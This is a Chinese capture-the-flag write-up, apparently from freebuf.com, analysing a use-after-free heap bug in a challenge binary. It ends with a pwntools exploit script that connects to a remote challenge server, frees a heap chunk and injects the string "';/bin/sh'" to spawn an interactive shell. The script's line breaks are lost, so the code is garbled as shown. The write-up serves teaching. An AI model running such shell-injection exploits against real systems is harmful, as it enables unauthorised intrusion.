初探uaf漏洞利用 – 作者:星云博创科技有限公司

前言

此题是一道较为简单的堆,适合做分析,故此篇文章以分析思路为主,汇编层面的知识先不做讲解。此题考察的知识是uaf 漏洞,漏洞的本质是两条指针指向了同一块堆空间。此题巧妙之处在于有很多混淆知识,比如我们不能用1中的flag,必须要使用3中自己写的shellcode,下面我们来一起分析这题。

切入正题

首先我们使用checksec来查看一下

v2-a39a28e22d2aaf806a0036c6d6d02f69_720w.png

用ida打开,发现好多跳转函数

v2-4f47fbf7232878acb675b58b76edf432_720w.png

我们先运行一下,一边运行一边调

v2-68ac656d0ff18de555e88fad803ea6ad_720w.png

先执行一下,随便输入点东西,发现退出了

v2-b8e6624da838bf665460f880838e8b4f_720w.png

那我们接着用ida查看

v2-f6638395fc261ad589625193f5ed19ea_720w.png

这里我们看一下选项1中的函数

接下来我们进入switch循环的case1

v2-340ac78eac4e61207cb64a7b127b9f31_720w.png

sub_400D74

这个大体的意思就是在sub_400D74中输入字符串

v2-bc08d270e31f54ef6851fc844a3752c3_720w.pngv2-38a1c2ed7b6d7bcf611e452522be3c77_720w.png

sub_400c26

下面我们接着追溯到sub_400c26函数

fp为文件指针

v2-9ffd859e79cf3d47c7efe5e3eea0e0ca_720w.png

sub_400CB5

strcpy(目的字符串,源字符串)进行copy

strspn(要检索的c字符串,要匹配的列表)

意思就是做一个搜索

v2-965680fd4d4baca15e777cb5dadd12dc_720w.pngv2-a059ffa972da6c5a8a85c9ade28e896f_720w.png

sub400c7e

这个函数就是free掉堆空间

v2-84f996125d69290d916c6df664ddb373_720w.png

选项3:

v2-909415be323bfa7f17103d3e929f677d_720w.pngv2-f51526b2565d3a368179837d7e6604cd_720w.png

sub_400c26

v2-a9aba8182836900c02b1c1ae37fbc95b_720w.png

这个的意思也是申请一段堆空间,不过这个没有字符串限制,之前在选项1中,是有一个字符串限制的,因为没有f。

uaf漏洞的标志就是这里,两段堆空间,当free掉一段堆空间的时候,上一层的指针并未消失,此时两段指针都同时指向新生成的空间,我们把shellcode写在新生成的空间中。

选项5:

v2-6a8b050fc18f82494d94f3d3ae08d684_720w.png

v2-d29a92c9592c29c099c39e20ddffb79c_720w.png

选项4:

v2-93e529c4fc07ab97d5376c812bde62e9_720w.png

正好也来详细讲讲这个 __snprintf_chk函数

第一个参数是要被写入的内容

下面几个参数形成一一对应关系,前面的参数是大小,后面的参数是覆盖给第一个参数的内容。

在这道题中,我们需要做的是写一个shell后门,然后system进行利用。

最终的exp:

from pwn import *context.log_level = 'debug'#io = process('./3')io = remote('111.200.241.244',50438)def  ptr(content):io.sendline('1')io.sendline(content)#定义ptr,选型1,随便传入一个规定字符def  value(content):io.sendline('3')io.sendline(content)#选项3,进行写shell      def Free():io.sendline('5')io.sendline('N')#选项5,free堆空间def exp():io.sendline('4')io.interactive()#选项4,进行组合ptr('a')Free()value("';/bin/sh'")exp()#调用自己写的exp

UAF总结:

v2-2c2d2ea5539c3cd5e3b5282d13402d70_720w.png

最终在远程打通

v2-72c35e6c2c1523ec79841d32eaf6bee3_720w.png

小结

这道题很好的解释了uaf漏洞,也告诉我们在我们使用c语言堆空间,如果要想清空堆空间,那么在free掉之后一定要把原来的指针置为空,这样可以规避掉uaf漏洞。

来源:freebuf.com 2021-06-23 11:47:57 by: 星云博创科技有限公司

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论